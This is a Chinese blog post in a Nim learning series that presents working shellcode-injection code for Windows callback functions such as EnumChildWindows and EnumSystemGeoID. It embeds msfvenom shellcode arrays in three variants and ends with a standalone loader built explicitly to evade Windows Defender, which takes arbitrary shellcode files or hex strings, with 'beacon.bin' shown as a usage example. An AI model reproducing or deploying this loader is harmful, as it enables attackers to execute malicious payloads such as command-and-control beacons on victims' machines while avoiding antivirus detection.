zoukankan html css js c++ java

Shellcode Injection via Callbacks（nim学习系列）

Shellcode Injection via Callbacks

通过回调函数进行shellcode注入，支持以下13各方法，本文最后给出shellcode加载器。

1, EnumTimeFormatsA
2, EnumWindows
3, EnumDesktopWindows
4, EnumDateFormatsA
5, EnumChildWindows
6, EnumThreadWindows
7, EnumSystemLocales
8, EnumSystemGeoID
9, EnumSystemLanguageGroupsA
10, EnumUILanguagesA
11, EnumSystemCodePagesA
12, EnumDesktopsW
13, EnumSystemCodePagesW

姿势一

如何通过nim lang来实现，首先来看 byt3bl33d3r 的例子，他使用了上述方法中的EnumSystemGeoID。参考他的例子，我们使用EnumChildWindows方法来实现一个。

编译并运行：

nim c --run shellcode_callback_bin.nim

#[
    Author: StudyCat
    Blog: https://www.cnblogs.com/studycat
    Github: https://github.com/StudyCat404/myNimExamples

    References:
        - https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/shellcode_callback_bin.nim
]#

import winim/lean # for core SDK only, this speed up compiling time.

when defined(windows):

    # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler
    # Consts defined by the compiler
    when defined(i386):
        # msfvenom -p windows/exec -f csharp CMD="calc.exe" modified for Nim arrays
        echo "[*] Running in x86 process"
        var shellcode: array[193, byte] = [
        byte 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
        0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
        0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
        0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
        0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
        0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
        0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
        0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
        0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
        0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
        0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
        0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
        0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00]

    elif defined(amd64):
        # msfvenom -p windows/x64/exec -f csharp CMD="calc.exe" modified for Nim arrays
        echo "[*] Running in x64 process"
        var shellcode: array[276, byte] = [
        byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
        0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
        0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
        0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
        0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
        0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
        0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
        0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
        0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
        0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
        0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
        0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
        0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
        0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
        0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
        0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
        0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
        0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
        0x63,0x2e,0x65,0x78,0x65,0x00]

    # This is essentially the equivalent of 'if __name__ == '__main__' in python
    when isMainModule:
        let tProcess = GetCurrentProcessId()

        echo "[*] Target Process: ", tProcess

        # Allocate memory
        let rPtr = VirtualAlloc(
            nil,
            cast[SIZE_T](shellcode.len),
            MEM_COMMIT,
            PAGE_EXECUTE_READ_WRITE
        )
        # Copy Shellcode to the allocated memory section
        copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len))
        
        # Callback execution
        #https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumchildwindows
        EnumChildWindows(cast[HWND](nil), cast[WNDENUMPROC](rPtr), cast[LPARAM](nil))
        # here comes an error: "SIGSEGV: Illegal storage access. (Attempt to read from nil?)" - the shellcode is however executed successfully

姿势二

使用 Emit pragma

#[
    Author: StudyCat
    Blog: https://www.cnblogs.com/studycat
    Github: https://github.com/StudyCat404/myNimExamples

    References:
        - https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection/blob/main/EnumSystemGeoID.cpp
]#

import winim/lean # for core SDK only, this speed up compiling time.

when not defined(c):
    {.error: "Must be compiled in c mode"}
    
{.emit: """
#include <Windows.h>
#include <stdio.h>


int myFunc(char *shellcode, int ssize)
{
    //copy from https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection/blob/main/EnumSystemGeoID.cpp
    HANDLE hAlloc = VirtualAlloc(NULL, ssize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(hAlloc, shellcode, ssize);
    
    EnumSystemGeoID(GEOCLASS_NATION,0,(GEO_ENUMPROC) hAlloc);
}
""".}   

proc myFunc(shellcode: ptr byte, ssize: int): int
    {.importc: "myFunc", nodecl.}
 
 
when defined(windows):

    # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler
    # Consts defined by the compiler
    when defined(i386):
        # msfvenom -p windows/exec -f csharp CMD="calc.exe" modified for Nim arrays
        echo "[*] Running in x86 process"
        var shellcode: array[193, byte] = [
        byte 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
        0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
        0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
        0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
        0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
        0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
        0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
        0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
        0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
        0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
        0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
        0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
        0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00]

    elif defined(amd64):
        # msfvenom -p windows/x64/exec -f csharp CMD="calc.exe" modified for Nim arrays
        echo "[*] Running in x64 process"
        var shellcode: array[276, byte] = [
        byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
        0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
        0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
        0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
        0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
        0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
        0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
        0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
        0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
        0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
        0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
        0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
        0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
        0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
        0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
        0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
        0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
        0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
        0x63,0x2e,0x65,0x78,0x65,0x00]

    # This is essentially the equivalent of 'if __name__ == '__main__' in python
    when isMainModule:
        let tProcess = GetCurrentProcessId()

        echo "[*] Target Process: ", tProcess

        discard myFunc(addr shellcode[0], 276)

姿势三

使用 Compile pragma

首先，将 https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection/blob/main/EnumSystemGeoID.cpp 另存为 EnumSystemGeoID.c，并将内容修改为如下：

#include <Windows.h>
#include <stdio.h>

int myFunc(char *shellcode, int ssize)
{
    //sizeof(shellcode)
    HANDLE hAlloc = VirtualAlloc(NULL, ssize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(hAlloc, shellcode, ssize);
    
    EnumSystemGeoID(GEOCLASS_NATION,0,(GEO_ENUMPROC) hAlloc);
}

#[
    Author: StudyCat
    Blog: https://www.cnblogs.com/studycat
    Github: https://github.com/StudyCat404/myNimExamples

    References:
        - https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection/blob/main/EnumSystemGeoID.cpp
]#

import winim/lean # for core SDK only, this speed up compiling time.

when not defined(c):
    {.error: "Must be compiled in c mode"}
    
{.compile: "EnumSystemGeoID.c".}  

proc myFunc(shellcode: ptr byte, ssize: int): int
    {.importc: "myFunc", nodecl.}
 
 
when defined(windows):

    # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler
    # Consts defined by the compiler
    when defined(i386):
        # msfvenom -p windows/exec -f csharp CMD="calc.exe" modified for Nim arrays
        echo "[*] Running in x86 process"
        var shellcode: array[193, byte] = [
        byte 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
        0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
        0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
        0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
        0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
        0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
        0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
        0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
        0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
        0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
        0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
        0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
        0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00]

    elif defined(amd64):
        # msfvenom -p windows/x64/exec -f csharp CMD="calc.exe" modified for Nim arrays
        echo "[*] Running in x64 process"
        var shellcode: array[276, byte] = [
        byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
        0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
        0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
        0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
        0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
        0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
        0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
        0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
        0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
        0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
        0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
        0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
        0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
        0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
        0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
        0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
        0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
        0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
        0x63,0x2e,0x65,0x78,0x65,0x00]

    # This is essentially the equivalent of 'if __name__ == '__main__' in python
    when isMainModule:
        let tProcess = GetCurrentProcessId()

        echo "[*] Target Process: ", tProcess

        discard myFunc(addr shellcode[0], 276)

截图1

改造成 shellcode 加载器

我在 windows 10下运行以上代码，很显然都被 defender 干掉了，所以要做分离。代码如下：

nim c --cpu:i386 -d:realese --opt:size shellcodeRun.nim

已经编译好的 shellcodeRun.exe

#[
    Author: StudyCat
    Blog: https://www.cnblogs.com/studycat
    Github: https://github.com/StudyCat404/myNimExamples
]#
import winim/lean
import osproc
import stew/byteutils
import os
import strutils

proc shellcodeCallback(shellcode: openarray[byte]): void =
    let tProcess = GetCurrentProcessId()
    echo "Powered by StudyCat"
    echo "[*] Target Process: ", tProcess
    echo "    \-- bytes written: ", shellcode.len
    echo "[+] Injected"
    
    # Allocate memory
    let rPtr = VirtualAlloc(
        nil,
        cast[SIZE_T](shellcode.len),
        MEM_COMMIT,
        PAGE_EXECUTE_READ_WRITE
    )    
    
    # Copy Shellcode to the allocated memory section
    copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len))    
    
    # Callback execution
    EnumSystemGeoID(
        16,
        0,
        cast[GEO_ENUMPROC](rPtr)
    ) 


proc main() =    
    if fileExists(paramStr(1)):
        var 
            filename = paramStr(1)
            file: File
            
        file = open(filename, fmRead)
        var fileSize = file.getFileSize() 
        var shellcode = newSeq[byte](fileSize)
        discard file.readBytes(shellcode, 0, fileSize)
        shellcodeCallback(shellcode)
        file.close()
    else:
        var hexstr: string = paramStr(1)
        var shellcode = newSeq[byte](len(hexstr) div 2)
        hexToByteArray(hexstr, shellcode)
        shellcodeCallback(shellcode)    
    
when defined(windows):
    if 2 > 1:
        if paramCount() > 0 :           
            main()
        else:
            let pathSplit = splitPath(paramStr(0))
            echo "Usage: ", pathSplit.tail, " fce88900000...648b52308b"
            echo "Usage: ", pathSplit.tail, " beacon.bin"

截图

引用

https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection/

https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/shellcode_callback_bin.nim

查看全文

相关阅读:
第27课二阶构造模式（上）---------出现的背景
 第26课静态成员函数
 第25课类的静态成员变量
 第24课经典问题解析（下）--------类的成员函数和成员变量隶属某个具体对象吗
 第24课经典问题（中）-----关于const对象的疑问
 第24课经典的问题（上）---------对象的构造顺序与析构顺序
 第23课神秘的临时对象
 断剑重铸007
DG on Windows 10 S: 执行任意代码
 断剑重铸006

原文地址：https://www.cnblogs.com/StudyCat/p/14642041.html